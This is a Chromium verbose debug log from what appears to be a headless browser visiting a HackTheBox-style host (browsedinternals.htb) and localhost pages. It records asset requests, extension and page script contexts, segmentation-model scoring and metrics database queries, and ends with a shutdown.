[2415:2420:0309/174909.616742:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/css/theme-gitea-auto.css?v=1.24.5
[2415:2420:0309/174909.621338:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/img/logo.svg
[2415:2420:0309/174909.625034:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/images/pic01.jpg
[2415:2420:0309/174909.628199:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/images/pic02.jpg
[2385:2385:0309/174909.660855:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2451:2451:0309/174909.661262:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           (none)
  frame:                  0x21240044c7b8
  URL:                    
  context_type:           WEB_PAGE
  effective extension id: (none)
  effective context type: WEB_PAGE
[2450:2450:0309/174909.661475:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           (none)
  frame:                  0x21240044c7b8
  URL:                    
  context_type:           WEB_PAGE
  effective extension id: (none)
  effective context type: WEB_PAGE
[2450:2450:0309/174909.663146:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           (none)
  frame:                  (nil)
  URL:                    
  context_type:           UNSPECIFIED
  effective extension id: (none)
  effective context type: UNSPECIFIED
[2450:2450:0309/174909.663520:VERBOSE1:dispatcher.cc(563)] Num tracked contexts: 1
[2451:2451:0309/174909.662372:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           (none)
  frame:                  (nil)
  URL:                    
  context_type:           UNSPECIFIED
  effective extension id: (none)
  effective context type: UNSPECIFIED
[2451:2451:0309/174909.664005:VERBOSE1:dispatcher.cc(563)] Num tracked contexts: 1
[2385:2385:0309/174909.670386:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2415:2420:0309/174909.672753:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/images/pic03.jpg
[2415:2420:0309/174909.712228:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/js/webcomponents.js?v=1.24.5
[2415:2420:0309/174909.712522:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/js/index.js?v=1.24.5
[2415:2420:0309/174909.741621:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/css/fontawesome-all.min.css
[2415:2420:0309/174909.742100:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: https://fonts.googleapis.com/css?family=Roboto:100,300,100italic,300italic
[2385:2385:0309/174909.748990:VERBOSE1:segment_result_provider.cc(136)] GetSegmentResult: segment=OPTIMIZATION_TARGET_SEGMENTATION_DEVICE_SWITCHER ignoring DB score, executing model.
[2385:2385:0309/174909.749017:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_DEVICE_SWITCHER server segment info not available
[2385:2385:0309/174909.749032:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_DEVICE_SWITCHER failed to get database model score, trying default model.
[2415:2420:0309/174909.775129:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/jquery.min.js
[2415:2420:0309/174909.775529:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/jquery.scrolly.min.js
[2415:2420:0309/174909.775754:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/jquery.dropotron.min.js
[2415:2420:0309/174909.775920:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/jquery.scrollex.min.js
[2415:2420:0309/174909.780227:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/browser.min.js
[2415:2420:0309/174909.781202:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/breakpoints.min.js
[2415:2420:0309/174909.800603:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/util.js
[2415:2420:0309/174909.801669:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/main.js
[2450:2450:0309/174909.983665:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           bcihhgmnnmkehdadnllggphpnmjapeag
  frame:                  0x21240044c7b8
  URL:                    
  context_type:           CONTENT_SCRIPT
  effective extension id: bcihhgmnnmkehdadnllggphpnmjapeag
  effective context type: CONTENT_SCRIPT
[2450:2450:0309/174909.984089:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           (none)
  frame:                  (nil)
  URL:                    
  context_type:           UNSPECIFIED
  effective extension id: (none)
  effective context type: UNSPECIFIED
[2450:2450:0309/174909.992591:VERBOSE1:dispatcher.cc(563)] Num tracked contexts: 2
[2415:2420:0309/174909.997167:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: https://preview.redd.it/why-is-larry-so-evil-v0-ty3qlu4swjle1.jpeg?auto=webp&s=41fc3ee5bcec63e5cb4cc69757a812fb80143f47
[2385:2385:0309/174914.549016:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT does not have a segment info.
[2385:2385:0309/174914.549098:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT failed to get score from database, executing server model.
[2385:2385:0309/174914.549121:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT server segment info not available
[2385:2385:0309/174914.549139:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT failed to get score from executing server model, getting score from default model from db.
[2385:2385:0309/174914.549189:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT has expired or unavailable result.
[2385:2385:0309/174914.549203:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT failed to get database model score, trying default model.
[2385:2385:0309/174914.550912:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER does not have a segment info.
[2385:2385:0309/174914.550935:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER failed to get score from database, executing server model.
[2385:2385:0309/174914.550944:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER server segment info not available
[2385:2385:0309/174914.550955:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER failed to get score from executing server model, getting score from default model from db.
[2385:2385:0309/174914.550964:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER has expired or unavailable result.
[2385:2385:0309/174914.550973:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER failed to get database model score, trying default model.
[2385:2385:0309/174914.551010:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER does not have a segment info.
[2385:2385:0309/174914.551025:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER failed to get score from database, executing server model.
[2385:2385:0309/174914.551040:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER server segment info not available
[2385:2385:0309/174914.551053:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER failed to get score from executing server model, getting score from default model from db.
[2385:2385:0309/174914.551067:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER has expired or unavailable result.
[2385:2385:0309/174914.551080:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER failed to get database model score, trying default model.
[2385:2385:0309/174914.551132:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=CROSS_DEVICE_USER_SEGMENT does not have a segment info.
[2385:2385:0309/174914.551142:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=CROSS_DEVICE_USER_SEGMENT failed to get score from database, executing server model.
[2385:2385:0309/174914.551165:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=CROSS_DEVICE_USER_SEGMENT server segment info not available
[2385:2385:0309/174914.551176:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=CROSS_DEVICE_USER_SEGMENT failed to get score from executing server model, getting score from default model from db.
[2385:2385:0309/174914.551190:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=CROSS_DEVICE_USER_SEGMENT has expired or unavailable result.
[2385:2385:0309/174914.551202:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=CROSS_DEVICE_USER_SEGMENT failed to get database model score, trying default model.
[2385:2385:0309/174914.551429:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=RESUME_HEAVY_USER_SEGMENT does not have a segment info.
[2385:2385:0309/174914.551445:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=RESUME_HEAVY_USER_SEGMENT failed to get score from database, executing server model.
[2385:2385:0309/174914.551454:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=RESUME_HEAVY_USER_SEGMENT server segment info not available
[2385:2385:0309/174914.551463:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=RESUME_HEAVY_USER_SEGMENT failed to get score from executing server model, getting score from default model from db.
[2385:2385:0309/174914.551473:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=RESUME_HEAVY_USER_SEGMENT has expired or unavailable result.
[2385:2385:0309/174914.551481:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=RESUME_HEAVY_USER_SEGMENT failed to get database model score, trying default model.
[2385:2385:0309/174914.551596:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=PASSWORD_MANAGER_USER does not have a segment info.
[2385:2385:0309/174914.551619:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=PASSWORD_MANAGER_USER failed to get score from database, executing server model.
[2385:2385:0309/174914.551628:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=PASSWORD_MANAGER_USER server segment info not available
[2385:2385:0309/174914.551638:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=PASSWORD_MANAGER_USER failed to get score from executing server model, getting score from default model from db.
[2385:2385:0309/174914.551646:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=PASSWORD_MANAGER_USER has expired or unavailable result.
[2385:2385:0309/174914.551654:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=PASSWORD_MANAGER_USER failed to get database model score, trying default model.
[2385:2406:0309/174914.552632:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query WITH all_buckets(bucket)AS(VALUES(0),(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27))SELECT IFNULL(count_vals,0)FROM (SELECT SUM(metric_value) AS sum_vals, COUNT(metric_value) AS count_vals, (event_timestamp-?)/? AS bucket FROM uma_metrics WHERE metric_hash='4F47AC1641163C54' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? GROUP BY bucket)RIGHT JOIN all_buckets USING(bucket)ORDER BY bucket Bind values: 0:2026-02-09 17:49:14.549221 UTC 1:86400000000 2:2466474089 3:3 4:2026-02-09 17:49:14.549221 UTC 5:2026-03-09 17:49:14.549221 UTC  Result: 0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,
[2385:2406:0309/174914.552799:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='603A678A76802F71' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-02-09 17:49:14.550984 UTC 3:2026-03-09 17:49:14.550984 UTC  Result: 0.000000,
[2385:2385:0309/174914.552823:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 feature 4: 0 feature 5: 0 feature 6: 0 feature 7: 0 feature 8: 0 feature 9: 0 feature 10: 0 feature 11: 0 feature 12: 0 feature 13: 0 feature 14: 0 feature 15: 0 feature 16: 0 feature 17: 0 feature 18: 0 feature 19: 0 feature 20: 0 feature 21: 0 feature 22: 0 feature 23: 0 feature 24: 0 feature 25: 0 feature 26: 0 feature 27: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT
[2385:2385:0309/174914.552882:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 1 for segment OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT
[2385:2385:0309/174914.552913:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=1, rank=1
[2385:2385:0309/174914.552924:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13417552154552907 result 0: 1 for segment OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT
[2385:2385:0309/174914.552938:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13417552154552907 result 0: 1 for segment id: OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT
[2385:2385:0309/174914.553059:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13417552154552907 result 0: 1 for segmentation key: chrome_low_user_engagement
[2385:2406:0309/174914.553486:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='1A94D82447638877' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-03-02 17:49:14.551092 UTC 3:2026-03-09 17:49:14.551092 UTC  Result: 0.000000,
[2385:2406:0309/174914.553588:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='8A5076C9026398BD' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-03-02 17:49:14.551092 UTC 3:2026-03-09 17:49:14.551092 UTC  Result: 0.000000,
[2385:2406:0309/174914.553722:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='ED7CFEC70BF9942D' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2026-03-02 17:49:14.551092 UTC 3:2026-03-09 17:49:14.551092 UTC  Result: 0.000000,
[2385:2406:0309/174914.553857:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='9AD089D233757CA7' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2026-02-09 17:49:14.551216 UTC 3:2026-03-09 17:49:14.551216 UTC  Result: 0.000000,
[2385:2385:0309/174914.553947:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER
[2385:2406:0309/174914.553970:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='43AA16B058663FB7' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2026-02-09 17:49:14.551216 UTC 3:2026-03-09 17:49:14.551216 UTC  Result: 0.000000,
[2385:2385:0309/174914.554011:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER
[2385:2385:0309/174914.554048:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=0, rank=0
[2385:2406:0309/174914.554066:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='B00E169A508F10AD' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2026-02-09 17:49:14.551216 UTC 3:2026-03-09 17:49:14.551216 UTC  Result: 0.000000,
[2385:2385:0309/174914.554064:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13417552154554040 result 0: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER
[2385:2385:0309/174914.554087:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13417552154554040 result 0: 0 for segment id: OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER
[2385:2406:0309/174914.554192:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='5FD2B9E0B59FBE33' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2026-02-09 17:49:14.551216 UTC 3:2026-03-09 17:49:14.551216 UTC  Result: 0.000000,
[2385:2385:0309/174914.554214:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13417552154554040 result 0: 0 for segmentation key: shopping_user
[2385:2406:0309/174914.554275:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='C5E37EF42704563E' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-03-02 17:49:14.551493 UTC 3:2026-03-09 17:49:14.551493 UTC  Result: 0.000000,
[2385:2385:0309/174914.554306:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 for segment CROSS_DEVICE_USER_SEGMENT
[2385:2385:0309/174914.554335:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 1 for segment CROSS_DEVICE_USER_SEGMENT
[2385:2406:0309/174914.554337:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='B72DBAE88DD1CF7D' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-03-02 17:49:14.551493 UTC 3:2026-03-09 17:49:14.551493 UTC  Result: 0.000000,
[2385:2385:0309/174914.554367:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=1, rank=1
[2385:2385:0309/174914.554379:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13417552154554362 result 0: 1 for segment CROSS_DEVICE_USER_SEGMENT
[2385:2385:0309/174914.554399:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13417552154554362 result 0: 1 for segment id: CROSS_DEVICE_USER_SEGMENT
[2385:2385:0309/174914.554451:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13417552154554362 result 0: 1 for segmentation key: cross_device_user
[2385:2406:0309/174914.554398:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='43D86E968F3E094A' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-03-02 17:49:14.551493 UTC 3:2026-03-09 17:49:14.551493 UTC  Result: 0.000000,
[2385:2406:0309/174914.554530:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='2CA9FE4BEBD6A7C5' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-03-02 17:49:14.551493 UTC 3:2026-03-09 17:49:14.551493 UTC  Result: 0.000000,
[2385:2406:0309/174914.555040:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='EBCD1644AA07E17B' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-03-02 17:49:14.551493 UTC 3:2026-03-09 17:49:14.551493 UTC  Result: 0.000000,
[2385:2406:0309/174914.555189:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='74AFBBB14C4DB32A' AND profile_id=? AND type=? AND metric_value IN(0)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-02-09 17:49:14.551667 UTC 3:2026-03-09 17:49:14.551667 UTC  Result: 0.000000,
[2385:2406:0309/174914.555387:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='6BF86CCA1FD02CBD' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2026-02-09 17:49:14.551667 UTC 3:2026-03-09 17:49:14.551667 UTC  Result: 0.000000,
[2385:2406:0309/174914.555490:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='F1B94D87A1EF91D5' AND profile_id=? AND type=? AND metric_value IN(0,1,2)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-02-09 17:49:14.551667 UTC 3:2026-03-09 17:49:14.551667 UTC  Result: 0.000000,
[2385:2385:0309/174914.555535:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 feature 4: 0 for segment RESUME_HEAVY_USER_SEGMENT
[2385:2406:0309/174914.555572:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='F806CECA7515DAAD' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-02-09 17:49:14.551667 UTC 3:2026-03-09 17:49:14.551667 UTC  Result: 0.000000,
[2385:2385:0309/174914.555582:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 0 for segment RESUME_HEAVY_USER_SEGMENT
[2385:2406:0309/174914.555638:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='FCA0EC1277E6DBE0' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-02-09 17:49:14.551667 UTC 3:2026-03-09 17:49:14.551667 UTC  Result: 0.000000,
[2385:2385:0309/174914.555643:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=0, rank=0
[2385:2385:0309/174914.555657:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13417552154555635 result 0: 0 for segment RESUME_HEAVY_USER_SEGMENT
[2385:2385:0309/174914.555673:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13417552154555635 result 0: 0 for segment id: RESUME_HEAVY_USER_SEGMENT
[2385:2385:0309/174914.555725:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13417552154555635 result 0: 0 for segmentation key: resume_heavy_user
[2385:2406:0309/174914.555859:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='FCA0EC1277E6DBE0' AND profile_id=? AND type=? AND metric_value IN(0,2,3)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-02-09 17:49:14.551667 UTC 3:2026-03-09 17:49:14.551667 UTC  Result: 0.000000,
[2385:2406:0309/174914.555941:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='DA0925D2758C07B7' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-02-09 17:49:14.551667 UTC 3:2026-03-09 17:49:14.551667 UTC  Result: 0.000000,
[2385:2406:0309/174914.556024:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COUNT(id) FROM metrics WHERE metric_hash = '64BD7CCE5A95BF00' Bind values:  Result: 0.000000,
[2385:2385:0309/174914.556130:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 feature 4: 0 feature 5: 0 feature 6: 0 for segment PASSWORD_MANAGER_USER
[2385:2385:0309/174914.556518:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 0 for segment PASSWORD_MANAGER_USER
[2385:2385:0309/174914.556627:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=0, rank=0
[2385:2385:0309/174914.556652:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13417552154556619 result 0: 0 for segment PASSWORD_MANAGER_USER
[2385:2385:0309/174914.556718:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13417552154556619 result 0: 0 for segment id: PASSWORD_MANAGER_USER
[2385:2385:0309/174914.556908:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13417552154556619 result 0: 0 for segmentation key: password_manager_user
[2385:2385:0309/174914.557629:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER
[2385:2385:0309/174914.557810:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER
[2385:2385:0309/174914.557850:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=0, rank=0
[2385:2385:0309/174914.557861:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13417552154557845 result 0: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER
[2385:2385:0309/174914.557877:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13417552154557845 result 0: 0 for segment id: OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER
[2385:2385:0309/174914.558036:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13417552154557845 result 0: 0 for segmentation key: search_user
[2385:2404:0309/174914.881012:VERBOSE1:shutdown_signal_handlers_posix.cc(136)] Handling shutdown for signal 15.
[2385:2385:0309/174914.905647:WARNING:zygote_communication_linux.cc(306)] Error reading message from zygote: Connection reset by peer (104)
